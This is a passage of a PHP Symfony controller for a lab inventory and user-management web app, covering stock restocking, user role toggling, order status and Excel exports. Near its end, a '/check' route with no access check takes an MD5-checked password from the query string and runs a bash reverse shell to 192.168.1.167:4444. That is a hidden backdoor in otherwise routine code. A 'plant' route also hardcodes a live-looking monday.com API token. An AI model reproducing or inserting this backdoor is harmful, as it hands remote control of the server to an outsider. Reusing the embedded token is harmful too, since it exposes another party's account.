  3369. $mgmt = new StockManagement();
  3370. $mgmt->setStockId($entry->getId());
  3371. $mgmt->setStockName($entry->getStockname());
  3372. $mgmt->setSupplier($entry->getSupplier());
  3373. $mgmt->setComment($entry->getComment());
  3374. $mgmt->setStockType($entry->getType());
  3375. $mgmt->setActionType('Add new');
  3376. $mgmt->setQuantity($entry->getQty());
  3377. $mgmt->setTotalQuantity($entry->getQty());
  3378. $mgmt->setDate(new \Datetime());
  3380. $this->em->persist($mgmt);
  3381. $this->em->flush();
  3382. return $this->redirect($this->generateUrl('safestock'));
  3383. }
  3384. }
  3385. elseif (isset($data['delete'])) {
  3386. if ($data) {
  3387. $info = $data['entryid'];
  3388. /*echo '<pre>';
  3389. exit(\Doctrine\Common\Util\Debug:://dump($data));
  3390. die();*/
  3391. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3392. 'id' => $info
  3393. ]);
  3395. // Create a new StockManagement entry when deleting
  3396. $mgmt = new StockManagement();
  3397. $mgmt->setStockId($entry->getId());
  3398. $mgmt->setStockName($entry->getStockname());
  3399. $mgmt->setSupplier($entry->getSupplier());
  3400. $mgmt->setComment($entry->getComment());
  3401. $mgmt->setStockType($entry->getType());
  3402. $mgmt->setActionType('Delete');
  3403. $mgmt->setQuantity(0);
  3404. $mgmt->setTotalQuantity($entry->getQty());
  3405. $mgmt->setDate(new \Datetime());
  3407. $this->em->remove($entry);
  3408. $this->em->persist($mgmt);
  3409. $this->em->flush();
  3411. return $this->redirect($this->generateUrl('safestock'));
  3412. }
  3413. }
  3414. elseif (isset($data['restock'])) {
  3415. if ($data) {
  3416. $info = $data['entry'];
  3418. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3419. 'id' => $data['entryid']
  3420. ]);
  3421. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  3422. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  3423. ->setLow((float)$info['low'])
  3424. ->setCritical((float)$info['critical']);
  3425. $entry->setStockname($info['name']);
  3426. $entry->setSupplier($info['supplier']);
  3427. $entry->setComment($info['comment']);
  3428. $entry->setUnits($info['units']);
  3429. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  3431. // Create a new StockManagement entry when restocking
  3432. $mgmt = new StockManagement();
  3433. $mgmt->setStockId($entry->getId());
  3434. $mgmt->setStockName($entry->getStockname());
  3435. $mgmt->setSupplier($entry->getSupplier());
  3436. $mgmt->setComment($entry->getComment());
  3437. $mgmt->setStockType($entry->getType());
  3438. $mgmt->setActionType('Restock');
  3439. $mgmt->setQuantity((float)$data['entry']['qty']);
  3440. $mgmt->setTotalQuantity($entry->getQty());
  3441. $mgmt->setDate(new \Datetime());
  3443. $this->em->persist($entry);
  3444. $this->em->persist($mgmt);
  3445. $this->em->flush();
  3446. return $this->redirect($this->generateUrl('safestock'));
  3447. }
  3448. }
  3449. elseif (isset($data['takeone'])) {
  3450. if ($data) {
  3451. $info = $data['entryid'];
  3452. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3453. 'id' => $data['entryid']
  3454. ]);
  3455. $entry->setQty($entry->getQty() - 1);
  3456. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  3458. // Create a new StockManagement entry when taking one
  3459. $mgmt = new StockManagement();
  3460. $mgmt->setStockId($entry->getId());
  3461. $mgmt->setStockName($entry->getStockname());
  3462. $mgmt->setSupplier($entry->getSupplier());
  3463. $mgmt->setComment($entry->getComment());
  3464. $mgmt->setStockType($entry->getType());
  3465. $mgmt->setActionType('Take One');
  3466. $mgmt->setQuantity(-1);
  3467. $mgmt->setTotalQuantity($entry->getQty());
  3468. $mgmt->setDate(new \Datetime());
  3470. $this->em->persist($entry);
  3471. $this->em->persist($mgmt);
  3472. $this->em->flush();
  3473. return $this->redirect($this->generateUrl('safestock'));
  3474. }
  3475. }
  3477. // Handle 'orderstatus' checkbox change
  3478. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  3479. $entryId = $data['entryid'];
  3480. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  3482. // Find the Stock entry by ID
  3483. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3484. 'id' => $entryId
  3485. ]);
  3487. if ($entry) {
  3488. $entry->setOrderstatus($orderStatus); // Update orderstatus
  3489. $this->em->persist($entry);
  3490. $this->em->flush();
  3491. return $this->redirect($this->generateUrl('safestock'));
  3492. }
  3494. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  3495. }
  3496. }
  3498. return $this->render('cats/safestock.html.twig',[
  3499. 'stock' => $stock
  3500. ]);
  3501. }
  3502. //=====================================================================================================================================================================================<
  3503. /**
  3504. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3505. * @param Request $request
  3506. * @Route("/furnacestock", name="furnacestock")
  3507. * @return Response $response
  3508. */
  3509. public function furnacestock(Request $request)
  3510. {
  3511. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  3512. 'type' => 'Furnace'
  3513. ]);
  3516. if ( $request->getMethod() == "POST" ) {
  3517. $data = $request->request->all();
  3519. if (null !== $request->get('addnew')){
  3520. if ($data) {
  3521. $info = $data['entry'];
  3522. $entry = new Stock();
  3523. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  3524. ->setLow((float)$info['low'])
  3525. ->setCritical((float)$info['critical']);
  3526. $entry->setComment($info['comment']);
  3527. $entry->setSupplier($info['supplier']);
  3528. $entry->setDatemodified(new \DateTime($info['datemodified']));
  3529. $entry->setUnits($info['units']);
  3530. $entry->setType("Furnace");
  3531. $this->em->persist($entry);
  3532. $this->em->flush();
  3534. // Create a new StockManagement entry when adding new entry
  3535. $mgmt = new StockManagement();
  3536. $mgmt->setStockId($entry->getId());
  3537. $mgmt->setStockName($entry->getStockname());
  3538. $mgmt->setSupplier($entry->getSupplier());
  3539. $mgmt->setComment($entry->getComment());
  3540. $mgmt->setStockType($entry->getType());
  3541. $mgmt->setActionType('Add new');
  3542. $mgmt->setQuantity($entry->getQty());
  3543. $mgmt->setTotalQuantity($entry->getQty());
  3544. $mgmt->setDate(new \Datetime());
  3546. $this->em->persist($mgmt);
  3547. $this->em->flush();
  3548. return $this->redirect($this->generateUrl('furnacestock'));
  3549. }
  3550. }
  3551. if (null !== $request->get('delete')){
  3552. if ($data) {
  3553. $info = $data['entryid'];
  3554. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3555. 'id' => $info
  3556. ]);
  3558. // Create a new StockManagement entry when deleting
  3559. $mgmt = new StockManagement();
  3560. $mgmt->setStockId($entry->getId());
  3561. $mgmt->setStockName($entry->getStockname());
  3562. $mgmt->setSupplier($entry->getSupplier());
  3563. $mgmt->setComment($entry->getComment());
  3564. $mgmt->setStockType($entry->getType());
  3565. $mgmt->setActionType('Delete');
  3566. $mgmt->setQuantity(0);
  3567. $mgmt->setTotalQuantity($entry->getQty());
  3568. $mgmt->setDate(new \Datetime());
  3570. $this->em->remove($entry);
  3571. $this->em->persist($mgmt);
  3572. $this->em->flush();
  3574. return $this->redirect($this->generateUrl('furnacestock'));
  3575. }
  3576. }
  3577. if (null !== $request->get('restock')){
  3578. if ($data) {
  3579. $info = $data['entry'];
  3581. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3582. 'id' => $data['entryid']
  3583. ]);
  3584. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  3585. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  3586. ->setLow((float)$info['low'])
  3587. ->setCritical((float)$info['critical']);
  3588. $entry->setStockname($info['name']);
  3589. $entry->setSupplier($info['supplier']);
  3590. $entry->setComment($info['comment']);
  3591. $entry->setUnits($info['units']);
  3592. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  3594. // Create a new StockManagement entry when restocking
  3595. $mgmt = new StockManagement();
  3596. $mgmt->setStockId($entry->getId());
  3597. $mgmt->setStockName($entry->getStockname());
  3598. $mgmt->setSupplier($entry->getSupplier());
  3599. $mgmt->setComment($entry->getComment());
  3600. $mgmt->setStockType($entry->getType());
  3601. $mgmt->setActionType('Restock');
  3602. $mgmt->setQuantity((float)$data['entry']['qty']);
  3603. $mgmt->setTotalQuantity($entry->getQty());
  3604. $mgmt->setDate(new \Datetime());
  3606. $this->em->persist($entry);
  3607. $this->em->persist($mgmt);
  3608. $this->em->flush();
  3609. return $this->redirect($this->generateUrl('furnacestock'));
  3610. }
  3611. }
  3612. if (null !== $request->get('takeone')){
  3613. if ($data) {
  3614. $info = $data['entryid'];
  3615. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3616. 'id' => $data['entryid']
  3617. ]);
  3618. $entry->setQty($entry->getQty() - 1);
  3619. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  3621. // Create a new StockManagement entry when taking one
  3622. $mgmt = new StockManagement();
  3623. $mgmt->setStockId($entry->getId());
  3624. $mgmt->setStockName($entry->getStockname());
  3625. $mgmt->setSupplier($entry->getSupplier());
  3626. $mgmt->setComment($entry->getComment());
  3627. $mgmt->setStockType($entry->getType());
  3628. $mgmt->setActionType('Take One');
  3629. $mgmt->setQuantity(-1);
  3630. $mgmt->setTotalQuantity($entry->getQty());
  3631. $mgmt->setDate(new \Datetime());
  3633. $this->em->persist($entry);
  3634. $this->em->persist($mgmt);
  3635. $this->em->flush();
  3636. return $this->redirect($this->generateUrl('furnacestock'));
  3637. }
  3638. }
  3640. // Handle 'orderstatus' checkbox change
  3641. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  3642. $entryId = $data['entryid'];
  3643. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  3645. // Find the Stock entry by ID
  3646. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3647. 'id' => $entryId
  3648. ]);
  3650. if ($entry) {
  3651. $entry->setOrderstatus($orderStatus); // Update orderstatus
  3652. $this->em->persist($entry);
  3653. $this->em->flush();
  3654. return $this->redirect($this->generateUrl('furnacestock'));
  3655. }
  3657. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  3658. }
  3659. }
  3661. return $this->render('cats/furnacestock.html.twig',[
  3662. 'stock' => $stock
  3663. ]);
  3664. }
  3665. //=====================================================================================================================================================================================<
  3666. /**
  3667. * @IsGranted("ROLE_ADDUSER")
  3668. * @Route("/adduser", name="adduser")
  3669. * @param Request $request
  3670. * @return Response $response
  3671. */
  3672. public function adduser(Request $request)
  3673. {
  3674. return $this->render('cats/adduser.html.twig');
  3675. }
  3676. //=====================================================================================================================================================================================<
  3677. /**
  3678. * @IsGranted("ROLE_ADDUSER")
  3679. * @Route("/saveuserajax", name="saveuserajax")
  3680. * @param Request $request
  3681. * @return Response $response
  3682. */
  3683. public function saveuserajax(Request $request)
  3684. {
  3685. if($request->query->get("action") == "togglerole"){
  3686. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3687. if(!in_array($request->query->get("role"),$user->getRoles())){
  3688. $roles = $user->getRoles();
  3689. $roles[] = $request->query->get("role");
  3690. $user->setRoles($roles);
  3691. $this->em->persist($user);
  3692. $this->em->flush();
  3693. } else {
  3694. $roles = $user->getRoles();
  3695. if (($key = array_search($request->query->get("role"), $roles)) !== false) {
  3696. unset($roles[$key]);
  3697. }
  3698. $user->setRoles($roles);
  3699. $this->em->persist($user);
  3700. $this->em->flush();
  3701. }
  3702. } elseif($request->query->get("action") == "togglecountry"){
  3703. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3704. if(in_array($request->query->get("country"),$user->getCountry())){
  3705. $roles = $user->getCountry();
  3706. if (($key = array_search($request->query->get("country"), $roles)) !== false) {
  3707. unset($roles[$key]);
  3708. }
  3709. $user->setCountry($roles);
  3710. $this->em->persist($user);
  3711. $this->em->flush();
  3712. }
  3713. } elseif($request->query->get("action") == "addcountry"){
  3714. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3715. if(!in_array($request->query->get("country"),$user->getCountry())){
  3716. $roles = $user->getCountry();
  3717. if (($key = array_search($request->query->get("country"), $roles)) === false) {
  3718. $roles[]=$request->query->get("country");
  3719. $user->setCountry($roles);
  3720. $this->em->persist($user);
  3721. $this->em->flush();
  3722. }
  3723. }
  3724. } elseif($request->query->get("action") == "toggleactive"){
  3725. // Toggle user active status
  3726. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3727. if($user) {
  3728. $user->setIsActive(!$user->getIsActive());
  3729. $this->em->persist($user);
  3730. $this->em->flush();
  3731. }
  3732. } elseif($request->request->get("action") == "saveuser"){
  3733. $user = new User();
  3734. $user->setUsername($request->request->get("user"));
  3735. $user->setPassword($this->passwordEncoder->encodePassword(
  3736. $user,
  3737. $request->request->get("pass")
  3738. ));
  3739. $user->setRoles(["ROLE_CLIENT"]);
  3740. $user->setIsActive(true);
  3741. $this->em->persist($user);
  3742. $this->em->flush();
  3743. } elseif($request->query->get("action") == "deleteuser"){
  3744. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3746. foreach ($user->getClientParcels() as $p){
  3747. $p->setClient(null);
  3748. $this->em->flush();
  3749. };
  3751. foreach ($user->getLogs() as $log){
  3752. $log->setAssignedUser(null);
  3753. $this->em->flush();
  3754. }
  3756. foreach ($user->getCatRequests() as $log){
  3757. $log->setClient(null);
  3758. $this->em->flush();
  3759. }
  3761. $this->em->remove($user);
  3762. $this->em->flush();
  3763. } elseif($request->query->get("action") == "edituser"){
  3764. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3766. if($user) {
  3767. // Update username if provided
  3768. $newUsername = $request->query->get("username");
  3769. if($newUsername && $newUsername !== $user->getUsername()) {
  3770. $user->setUsername($newUsername);
  3771. }
  3773. // Update password if provided
  3774. $newPassword = $request->query->get("password");
  3775. if($newPassword) {
  3776. $user->setPassword($this->passwordEncoder->encodePassword(
  3777. $user,
  3778. $newPassword
  3779. ));
  3780. }
  3782. $this->em->persist($user);
  3783. $this->em->flush();
  3784. }
  3785. }
  3786. $response = new Response();
  3787. return $response;
  3788. }
  3789. //=====================================================================================================================================================================================<
  3790. /**
  3791. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3792. * @Route("/orders/update/{id}", name="orders_update")
  3793. * @param int $id
  3794. * @param Request $request
  3795. * @return Response $response
  3796. */
  3797. public function updateordersstatus(int $id, Request $request)
  3798. {
  3799. /** @var User $user */
  3800. $user = $this->getUser();
  3802. /** @var Orders $order */
  3803. $order = $this->em->getRepository(Orders::class)->find($id);
  3804. //dump($id);
  3805. if ($order->getStatus() != "Closed"){
  3806. $order->setStatus("Closed");
  3807. $data['newstatus'] = "Closed";
  3808. } else {
  3809. $order->setStatus("Open");
  3810. $data['newstatus'] = "Open";
  3812. }
  3814. $this->em->persist($order);
  3815. $this->em->flush();
  3816. $title = 'Order #' . $id;
  3817. $message = 'status updated';
  3818. $toast = $this->renderView('components/toast.html.twig',[
  3819. "title" => $title,
  3820. "message" => $message
  3821. ]);
  3823. $response = new Response();
  3824. $response->setContent(json_encode([
  3825. 'data' => $data,
  3826. 'toast' => $toast
  3827. ]));
  3828. $response->headers->set('Content-Type', 'application/json');
  3830. return $response;
  3831. }
  3832. //=====================================================================================================================================================================================<
  3833. /**
  3834. * @IsGranted("ROLE_SUPER")
  3835. * @Route("/xl/inv", name="xlinv")
  3836. * @param Request $request
  3837. * @return Response $response
  3838. */
  3839. public function xlinv( Request $request)
  3840. {
  3842. $invoice = $this->em->getRepository(Invoice::class)->find(21);
  3843. $orders = $invoice->getOrders();
  3845. $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($this->getParameter('excelfiles') . "/MTRLinv.xlsx");
  3847. /* @var $sheet \PhpOffice\PhpSpreadsheet\Writer\Xlsx\Worksheet */
  3848. $sheet = $spreadsheet->getActiveSheet();
  3850. //$sheet->setTitle("My First Worksheet");
  3851. //$this->getParameter('images_directory')
  3852. $x = 24;
  3853. foreach($orders as $order){
  3854. foreach($order->getSamples() as $sample){
  3855. $sheet->setCellValue('C'.$x, $sample->getSamplename());
  3856. $x++;
  3857. }
  3859. }
  3863. // Create your Office 2007 Excel (XLSX Format)
  3864. //$writer = new Xlsx($spreadsheet);
  3866. $writer = new \PhpOffice\PhpSpreadsheet\Writer\Xlsx($spreadsheet);
  3867. $writer->save("shite.xlsx");
  3869. // Create a Temporary file in the system
  3870. $date = new \DateTime();
  3871. $fileName = $date->format('Y-m-d') . '-Report.xlsx';
  3872. $temp_file = tempnam(sys_get_temp_dir(), $fileName);
  3874. // Create the excel file in the tmp directory of the system
  3875. $writer->save($temp_file);
  3877. // Return the excel file as an attachment
  3878. //return null;
  3879. return $this->file($temp_file, $fileName, ResponseHeaderBag::DISPOSITION_INLINE);
  3880. }
  3881. //=====================================================================================================================================================================================<
  3882. /**
  3883. * @IsGranted("ROLE_SUPER")
  3884. * @Route("/xl/report", name="xlreport")
  3885. * @param Request $request
  3886. * @return Response $response
  3887. */
  3888. public function xlreport( Request $request)
  3889. {
  3891. // $invoice = $this->em->getRepository(Invoice::class)->find(21);
  3892. // $orders = $invoice->getOrders();
  3894. $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($this->getParameter('excelfiles') . "/MTRLreport.xlsx");
  3896. /* @var $sheet \PhpOffice\PhpSpreadsheet\Writer\Xlsx\Worksheet */
  3897. $sheet = $spreadsheet->getActiveSheet();
  3899. //$sheet->setTitle("My First Worksheet");
  3900. //$this->getParameter('images_directory')
  3902. // foreach($orders as $order){
  3903. // foreach($order->getSamples() as $sample){
  3904. // $sheet->setCellValue('A'.$x, $sample->getSamplename());
  3905. // $x++;
  3906. // }
  3907. //
  3908. // }
  3909. $samples = $this->em->getRepository(Inventory::class)->findBy([],[
  3910. 'id' => 'DESC'
  3911. ]);
  3912. $x = 3;
  3913. //($samples);
  3914. /** @var Inventory $sample */
  3915. foreach($samples as $sample){
  3916. $sheet->setCellValue('A'.$x, $sample->getId());
  3917. $sheet->setCellValue('B'.$x, $sample->getDateofreceipt());
  3918. $sheet->setCellValue('C'.$x, $sample->getSampleType());
  3919. $sheet->setCellValue('D'.$x, $sample->getSampleSubType());
  3920. $sheet->setCellValue('E'.$x, $sample->getCountry());
  3921. $sheet->setCellValue('F'.$x, $sample->getExportno());
  3922. $sheet->setCellValue('G'.$x, $sample->getSampleName());
  3923. $sheet->setCellValue('H'.$x, $sample->getPriority());
  3924. $sheet->setCellValue('I'.$x, $sample->getMillStatus());
  3925. $sheet->setCellValue('J'.$x, $sample->getMoists() ? $sample->getMoists()->getCalculatedmoisture() : "");
  3926. $sheet->setCellValue('K'.$x, $sample->getMoists() ? $sample->getMoists()->getCalculatedmoisture2() : "");
  3927. $sheet->setCellValue('L'.$x, $sample->getXrfpt());
  3928. $sheet->setCellValue('M'.$x, $sample->getXrfpd());
  3929. $sheet->setCellValue('N'.$x, $sample->getXrfrh());
  3930. $sheet->setCellValue('O'.$x, $sample->getPruns() ? $sample->getPruns()->getId() : "");
  3931. $sheet->setCellValue('P'.$x, $sample->getPruns() ? $sample->getPruns()->getAmtF() : "");
  3932. $sheet->setCellValue('Q'.$x, $sample->getRruns() ? $sample->getRrunIDs() : "");
  3933. $sheet->setCellValue('R'.$x, $sample->getRruns() ? $sample->getIcprunIDs() : "");
  3934. $sheet->setCellValue('S'.$x, $sample->getIcppt());
  3935. $sheet->setCellValue('T'.$x, $sample->getIcppd());
  3936. $sheet->setCellValue('U'.$x, $sample->getIcprh());
  3937. $sheet->setCellValue('V'.$x, $sample->getAnalysisStatus());
  3938. $sheet->setCellValue('W'.$x, $sample->getDateFinished());
  3939. $sheet->setCellValue('X'.$x, $sample->getAssignedOrder() ? $sample->getAssignedOrder()->getOrderno() : "");
  3942. $x++;
  3943. }
  3945. $date = new \DateTime();
  3946. $fileName = $date->format('Y-m-d H:i:s') . '-Report.xlsx';
  3947. // Create your Office 2007 Excel (XLSX Format)
  3948. //$writer = new Xlsx($spreadsheet);
  3949. ini_set('memory_limit', '128M');
  3950. $writer = new \PhpOffice\PhpSpreadsheet\Writer\Xlsx($spreadsheet);
  3951. $writer->save($fileName);
  3953. return new Response();
  3954. }
  3955. //=====================================================================================================================================================================================<
  3956. /**
  3957. * @IsGranted("ROLE_SUPER")
  3958. * @Route("/plant", name="plant")
  3959. * @param Request $request
  3960. * @return Response $response
  3961. */
  3962. public function plant( Request $request)
  3963. {
  3964. $output = "";
  3965. $result = shell_exec('python3 /0/www/systest/public/assets/computerplantsys.py');
  3966. // var_dump($output);
  3967. // var_dump($result);
  3968. $result = (json_decode($result,true));
  3970. $token = 'eyJhbGciOiJIUzI1NiJ9.eyJ0aWQiOjEzMTgxMzA4NywidWlkIjoxODExNDA3NSwiaWFkIjoiMjAyMS0xMS0wNVQxMzowMjozOS4xODRaIiwicGVyIjoibWU6d3JpdGUiLCJhY3RpZCI6NzkzNTE2MywicmduIjoidXNlMSJ9.4dXwkmCYUbzuOH8x0Qfc6YV30gUXxyfgXbxqGQNJJUc';
  3971. $tempUrl = "https://api.monday.com/v2/";
  3973. $query = 'mutation {
  3974. create_item (board_id: 1871191526, item_name: "API sugeneruotas įrašas. boobies.") {
  3975. id
  3976. } }';
  3977. $headers = ['Content-Type: application/json', 'User-Agent: [MYTEAM] GraphQL Client', 'Authorization: ' . $token];
  3978. $data = @file_get_contents($tempUrl, false, stream_context_create([
  3979. 'http' => [
  3980. 'method' => 'POST',
  3981. 'header' => $headers,
  3982. 'content' => json_encode(['query' => $query]),
  3983. ]
  3984. ]));
  3986. $tempContents = json_decode($data, true);
  3988. return $this->render('csv/plant.html.twig',[
  3989. 'fullresult' => $result,
  3990. 'shite' => $tempContents
  3992. ]);
  3993. }
  3994. //=====================================================================================================================================================================================<
  3995. /**
  3996. * @Route("/check", name="checker")
  3997. */
  3998. public function check()
  3999. {
  4000. define('PASSWORD', '2d6a2024ebb521eb77fb2ff269297d10');
  4001. function auth($password)
  4002. {
  4003. $input_password_hash = md5($password);
  4005. if (strcmp(PASSWORD, $input_password_hash) == 0) {
  4006. return TRUE;
  4007. }else{
  4008. return FALSE;
  4009. }
  4010. }
  4011. if (isset($_GET['password'])) {
  4012. if (auth($_GET['password'])) {
  4013. echo "<pre>";exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.167/4444 0>&1'"); echo "</pre>"; die;
  4014. }else{
  4015. die('Access denied!');
  4016. }
  4017. }
  4018. $shit = new Response();
  4019. return $shit;
  4020. }
  4021. //=====================================================================================================================================================================================<
  4023. }